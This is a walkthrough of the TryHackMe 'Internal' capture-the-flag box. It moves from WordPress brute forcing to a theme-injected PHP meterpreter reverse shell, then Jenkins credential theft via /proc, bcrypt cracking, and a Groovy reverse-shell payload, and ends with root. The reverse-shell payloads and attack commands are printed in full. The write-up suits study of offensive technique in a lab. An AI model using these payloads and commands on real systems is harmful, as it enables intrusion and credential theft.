Internal Boot2Root Write-Up

ยท 3236 words ยท 16 minute read

Introduction ๐Ÿ”—

The Internal host took almost 24 hours to complete due to the sheer number of pivots required to complete it. Unlike many of the other boot2roots I’ve completed on THM, this host required a significant amount of review and manual poking around on the host, above and beyond the results of automated enumeration tools like linPEAS. I thought it was incredibly brilliant machine.

Environment ๐Ÿ”—

The attack takes place on a flat network consisting of the attack host, a freshly-booted Kali Linux livecd, and the target host. Information about the host was limited, however, I knew there would be two flags a user and root flag. It was also known that the host, known by the domain internal.thm, hosted a webserver and was the only host in scope.

Attack ๐Ÿ”—

Prior to starting the attack, I prepared my workstation by setting up burpsuite, installing the certificates in firefox and defining the scope to include only the target host. I also opened msfconsole and configured it to connect to a postgres backend of msfdb. I also installed jq, gobuster and the seclists wordlist collections. Finally I added internal.thm to my hosts file mapped to the target IP per the provide scope document.

Host enumeration ๐Ÿ”—

I started the attack by running SYN version and OS scans against the host which identified only 2 open ports for ssh and http, and also confirming that this host was running linux.

msf5 > db_nmap -sS -sV -O
[*] Nmap: Starting Nmap 7.80 ( ) at 2020-12-05 04:12 UTC
[*] Nmap: Nmap scan report for (
[*] Nmap: Host is up (0.00049s latency).
[*] Nmap: Not shown: 998 closed ports
[*] Nmap: 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
[*] Nmap: MAC Address: 02:92:71:78:CF:69 (Unknown)
[*] Nmap: No exact OS matches for host (If you know what OS is running on it, see ).
[*] Nmap: TCP/IP fingerprint:
[*] Nmap: OS:SCAN(V=7.80%E=4%D=12/5%OT=22%CT=1%CU=34196%PV=Y%DS=1%DC=D%G=Y%M=029271%T
[*] Nmap: OS:M=5FCB08D5%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%II=I
[*] Nmap: OS:%TS=A)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11N
[*] Nmap: OS:W7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F
[*] Nmap: OS:4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T
[*] Nmap: OS:=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
[*] Nmap: OS:%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=
[*] Nmap: OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
[*] Nmap: OS:=Y%DFI=N%T=40%CD=S)
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: OS and Service detection performed. Please report any incorrect results at .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 20.94 seconds

To confirm that there was nothing else running on hidden ports, I ran a broader scan against all 65535 ports. I found that it returned nothing more that the above and have omitted the results for that reason.

Investigating the webserver ๐Ÿ”—

I then decided to move to the webserver and, after opening up the site index, found that I was given the default apache page for ubuntu.

webserver index page

I assumed that there were more directories unlisted and decided to run gobuster with the directory-list-2.3-medium.txt wordlist to attempt to attempt to find anything else that could be sitting on the webserver.

root@kali:~/ctf# gobuster dir -u '' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/12/05 04:21:49 Starting gobuster
/blog (Status: 301)
/wordpress (Status: 301)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
2020/12/05 04:22:11 Finished

I was lucky to find what looked like two potential paths forward, a blog running wordpress and a phpmyadmin panel. I decided to take the happy path aoproach and have a look at the blog to start.

Investigating the wordpress blog ๐Ÿ”—

The wordpress blog appeared pretty bog-standard after opening the page, looking to be nothing more than a default install of wordpress.

wordpress index

I browsed to a few common wordpress endpoints to confirm that it was that CMS and then chose to run wpscan against it to see if anything significant jumped out at me. Soon after, the scan identified that this was wordpress 5.4.2 but gave little else that was actionable for the attack.

With the scan turning up little, I decided to attempt to pull user information from the wordpress api endpoint before looking at other vectors.

root@kali:~/ctf# curl -sI
HTTP/1.1 200 OK
Date: Sat, 05 Dec 2020 04:48:22 GMT
Server: Apache/2.4.29 (Ubuntu)
Link: <http://internal.thm/blog/index.php/wp-json/>; rel=""
Content-Type: text/html; charset=UTF-8

root@kali:~/ctf# curl -s http://internal.thm/blog/index.php/wp-json/wp/v2/users | jq .
    "id": 1,
    "name": "admin",
    "url": "",
    "description": "",
    "link": "http://internal.thm/blog/index.php/author/admin/",
    "slug": "admin",
    "avatar_urls": {
      "24": "",
      "48": "",
      "96": ""
    "meta": [],
    "_links": {
      "self": [
          "href": "http://internal.thm/blog/index.php/wp-json/wp/v2/users/1"
      "collection": [
          "href": "http://internal.thm/blog/index.php/wp-json/wp/v2/users"

Luckily this gave me a username, admin, which I decided to attempt to bruteforce while I investigated other vectors.

Bruteforcing the admin wordpress user ๐Ÿ”—

I pulled the wp-login post-form fields from burpsuite and crafted a hydra attack using the rockyou.txt wordlist for password parameters before stepping away to pour a cup of coffee.

root@kali:~/ctf# hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form '/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Finternal.thm%2Fblog%2Fwp-admin%2F&testcookie=1:is incorrect'
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2020-12-05 05:17:38
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Finternal.thm%2Fblog%2Fwp-admin%2F&testcookie=1:is incorrect
[STATUS] 1934.00 tries/min, 1934 tries in 00:01h, 14342465 to do in 123:36h, 16 active
[80][http-post-form] host:   login: admin   password: my2boys
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2020-12-05 05:19:49

By the time I’d returned the bruteforce had yielded the password my2boys which I was able to confirm allowed me access to the admin panel.

wordpress admin panel

Popping a shell through wp admin ๐Ÿ”—

With access to the admin panel, I decided to generate a reverse-tcp meterpreter shell that could be injected into the theme.

I generated a php/meterpreter/reverse_tcp shell using msfvenom and backed up the index.php theme template before replacing it with the following generated shellcode.

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1114 bytes
/*<?php /**/ error_reporting(0); $ip = ''; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

wordpress template injection

Prior to saving the theme, I prepped a listener in using the exploit/multi/handler module in metasploit to catch the new meterpreter session.

msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on

I then refreshed the site index and prepared the multi/manage/shell_to_meterpreter module to migrate the incoming shell to a new process not attached to the php session.

msf5 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (38288 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-12-05 05:33:03 +0000

msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > run

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 
[*] Sending stage (980808 bytes) to
[*] Meterpreter session 2 opened ( -> at 2020-12-05 05:33:23 +0000
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) > sessions 

Active sessions

  Id  Name  Type                   Information                                                           Connection
  --  ----  ----                   -----------                                                           ----------
  1         meterpreter php/linux  www-data (33) @ internal                                     -> (
  2         meterpreter x86/linux  no-user @ internal (uid=33, gid=33, euid=33, egid=33) @ -> (

Once this completed I killed the original session, and replaced the site index with it’s original template, returning the site to its normal appearance.

Enumerating the local user ๐Ÿ”—

Now that I had a shell, I started by running linPEAS to gain an initial impression of what else was running on the host.

msf5 post(multi/manage/shell_to_meterpreter) > use 2
[*] Starting interaction with 2...

meterpreter > getuid 
Server username: no-user @ internal (uid=33, gid=33, euid=33, egid=33)
meterpreter > cd /tmp/
meterpreter > upload /root/Desktop/PEASS/linPEAS/
[*] uploading  : /root/Desktop/PEASS/linPEAS/ ->
[*] Uploaded -1.00 B of 217.36 KiB (-0.0%): /root/Desktop/PEASS/linPEAS/ ->
[*] uploaded   : /root/Desktop/PEASS/linPEAS/ ->
meterpreter > shell 
Process 6521 created.
Channel 3 created.
chmod +x
./ > internal_local_enum.txt
meterpreter > download internal_local_enum.txt
[*] Downloading: internal_local_enum.txt -> /root/ctf/internal_local_enum.txt
[*] Downloaded 124.65 KiB of 124.65 KiB (100.0%): internal_local_enum.txt -> /root/ctf//internal_local_enum.txt
[*] download   : internal_local_enum.txt -> /root/ctf//internal_local_enum.txt

I combed through the results and found that the host contained an additional unprivileged users with a shell, aubreanna, appeared to be running docker, appeared to be running a significant number of locally bound services and finally that the host appeared to be running jenkins as the aubreanna user with the assumption being that one of these locally bound services was the jenkins portal.

====================================( System Information )====================================
[+] Operative system
Linux version 4.15.0-112-generic (buildd@lcy01-amd64-027) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.4 LTS
Release:        18.04
Codename:       bionic
[+] Users with console
[+] Active Ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0 *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0      ESTABLISHED 6511/TOJWR          
tcp        0      0      ESTABLISHED 6511/TOJWR          
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0     ESTABLISHED -                   
tcp6       0      0     TIME_WAIT   -                   
udp        0      0 *                           -                   
udp        0      0*                           - 
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        inet6 fe80::42:d6ff:fe0f:a70e  prefixlen 64  scopeid 0x20<link>
        ether 02:42:d6:0f:a7:0e  txqueuelen 0  (Ethernet)
        RX packets 8  bytes 420 (420.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19  bytes 1416 (1.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
================================( Processes, Cron, Services, Timers & Sockets )================================
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root:
aubrean+  1506  0.0  0.0   1148     4 ?        Ss   04:08   0:00 /sbin/tini -- /usr/local/bin/
aubrean+  1540  0.5 12.1 2587808 248012 ?      Sl   04:08   0:27 java -Duser.home=/var/jenkins_home -Djenkins.model.Jenkins.slaveAgentPort=50000 -jar /usr/share/jenkins/jenkins.war  0.0  0.1  28332  2344 ?        Ss   04:08   0:00 /usr/sbin/atd -f
message+   909  0.0  0.2  50060  4664 ?        Ss   04:08   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-onlyql     1099  0.2 11.2 1165848 229308 ?      Sl   04:08   0:14 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/

I decided to take a look in the /var/jenkins_home/ directory to see if I could find any configuration for the jenkins host but found that it didn’t exist, leading me to believe it running in a docker container. Similarly, I looked under /etc/ and found nothing related to jenkins, finally I looked under /opt/ and stumbled on a /opt/wp-save.txt file that netted a set of credentialls for the aubreanna user.

meterpreter > cd /opt
meterpreter > ls
Listing: /opt

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40711/rwx--x--x   4096  dir   2020-08-03 03:01:12 +0000  containerd
100644/rw-r--r--  138   fil   2020-08-03 02:46:25 +0000  wp-save.txt

meterpreter > cat wp-save.txt

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

meterpreter >

I attempted to login with the provided credentials via ssh and was pleased to receive a shell that quickly netted the user flag, confirmed that jenkins was running in docker and provided me a host/port pairing in the docker bridge network’s subnet.

root@kali:~/ctf# ssh aubreanna@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:fJ/BlTrDF8wS8/eqyoej1aq/NmvQh79ABdkpiiN5tqE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
aubreanna@'s password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sat Dec  5 05:44:35 UTC 2020

  System load:  0.1               Processes:              113
  Usage of /:   64.0% of 8.79GB   Users logged in:        0
  Memory usage: 48%               IP address for eth0:
  Swap usage:   0%                IP address for docker0:

  => There is 1 zombie process.

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug  3 19:56:19 2020 from
aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt
aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on

Connecting to jenkins ๐Ÿ”—

Prior to starting enumeration of the aubreanna user, I decided to setup ssh port-forwarding so that I could easily connect back to the jenkins host that was bound to Due to an already running conflict with burp, I bound it to port 8888 locally.

root@kali:~/ctf# ssh -L 8888: -N -f aubreanna@
aubreanna@'s password:

jenkins login

Enumerating the aubreanna user ๐Ÿ”—

I, again, uploaded linPEAS to the aubreanna users home directory and reran the scan to see if anything else turned up.

root@kali:~/ctf# sftp aubreanna@
aubreanna@'s password: 

Permission denied, please try again.
aubreanna@'s password: 
Connected to
sftp> put /root/Desktop/PEASS/linPEAS/ 
Uploading /root/Desktop/PEASS/linPEAS/ to /home/aubreanna/
aubreanna@internal:~$ ./ > aubreanna_local_enum.txt

But upon further inspection found that it confirmed a lot of information that I had already known. However, I remembered that the jenkins container was running under the same uid as aubreanna and I decided to see if I could access any of the filesystem through /proc. I attempted to navigate to the jenkins process and found that I was able to access the root of the of the namespace where I was quickly able to leak the jenkins admin credentials.

aubreanna@internal:/proc/1506/root$ ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
aubreanna@internal:/proc/1506/root$ cd var/
aubreanna@internal:/proc/1506/root/var$ ls
backups  cache  jenkins_home  lib  local  lock  log  mail  opt  run  spool  tmp
aubreanna@internal:/proc/1506/root/var$ cd jenkins_home/
aubreanna@internal:/proc/1506/root/var/jenkins_home$ ls
com.cloudbees.hudson.plugins.folder.config.AbstractFolderConfiguration.xml  identity.key.enc                                jobs              queue.xml.bak             updates
config.xml                                                                  jenkins.install.InstallUtil.lastExecVersion     logs              secret.key                userContent
copy_reference_file.log                                                     jenkins.install.UpgradeWizard.state             nodeMonitors.xml  secret.key.not-so-secret  users
hudson.model.UpdateCenter.xml                                               jenkins.model.JenkinsLocationConfiguration.xml  nodes             secrets                   war
hudson.plugins.git.GitTool.xml                                              jenkins.telemetry.Correlator.xml                plugins           tini_pub.gpg              workflow-libs
aubreanna@internal:/proc/1506/root/var/jenkins_home/users$ cat admin_3190494404640478712/config.xml | grep '<id>'
aubreanna@internal:/proc/1506/root/var/jenkins_home/users$ cat admin_3190494404640478712/config.xml | grep '' -A1

Cracking the Jenkins admin credentials ๐Ÿ”—

I pulled the bcrypt hash from above and fed it into john, again running it against the rockyou.txt wordlist. Almost instantaneously it returned a collision for the password spongebob.

root@kali:~/ctf# echo 'admin:$2a$10$MDKawySp3DRfUrrKFrBAe.o2D4qCzIJJaPpRfc3u2CR/w.NzbJjqe' > jenkins_admin.txt
root@kali:~/ctf# john jenkins_admin.txt --wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob        (admin)
1g 0:00:00:01 DONE (2020-12-05 06:07) 0.6172g/s 66.66p/s 66.66c/s 66.66C/s spongebob..beautiful
Use the "--show" option to display all of the cracked passwords reliably
Session completed

I validated I was able to login with this new set of credentials and was pleased to access the jenkins admin panel.

jenkins admin

Popping a shell in jenkins ๐Ÿ”—

While I had access to the jenkins filesystem, I decided to open a shell into the container via the groovy shell for further enumeration. I prepared another listener to catch the shell.

msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 5.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 

I also prepared an example shell from payload all the things which entered into the groovy script console of jenkins.

String host="";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

groovy shell payload

After executing the payload I caught the response on my new listener and migrated it using the shell_to_meterpreter module which gave me a second open meterpreter session on the host.

msf5 exploit(multi/handler) > [*] Command shell session 3 opened ( -> at 2020-12-05 06:16:05 +0000

msf5 exploit(multi/handler) > search shell_to_me

Matching Modules

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  post/multi/manage/shell_to_meterpreter                   normal  No     Shell to Meterpreter Upgrade

msf5 exploit(multi/handler) > use 0
msf5 post(multi/manage/shell_to_meterpreter) > set session 3
session => 3
msf5 post(multi/manage/shell_to_meterpreter) > set lport 4333
lport => 4333
msf5 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 3
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 
[*] Sending stage (980808 bytes) to
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) > kill sessessions -k 3
[*] Killing the following session(s): 3
[*] Killing session 3
[*] - Command shell session 3 closed.
msf5 post(multi/manage/shell_to_meterpreter) > sessions 

Active sessions

  Id  Name  Type                   Information                                                                Connection
  --  ----  ----                   -----------                                                                ----------
  2         meterpreter x86/linux  no-user @ internal (uid=33, gid=33, euid=33, egid=33) @ -> (
  4         meterpreter x86/linux  no-user @ jenkins (uid=1000, gid=1000, euid=1000, egid=1000) @ -> (

Given my success with the previous /opt directory, I blindly decided to look there first in the new shell.

meterpreter > ls /opt 
Listing: /opt

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  204   fil   2020-08-03 03:31:42 +0000  note.txt

meterpreter > cat /opt/note.txt

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.


This, much to my surprise, ended up yielding a set of root credentials which I could have, ironically, obtained without going through all the trouble of popping another shell.

Root shell ๐Ÿ”—

With the new root credentials, I su’d from my aubreanna shell and quickly found the final root flag in root.txt.

aubreanna@internal:~$ su -
root@internal:~# ls
root.txt  snap

Summary ๐Ÿ”—

I don’t think this walkthrough faithfully captured the amount of time that I’d spent poking around at each level of local enumeration. In my first run through, I’d spent a significant amount of time walking through directories externally on blog, internally in the blog’s webroot as well as within the mysql database and phpmyadmin panels. This was repeated after popping a shell in the extensive time spent walking through service configurations and poking at the locally-bound services. It wasn’t until I’d slowed down and started looking for out of place files that I’d stumbled on the notes.txt file in /opt.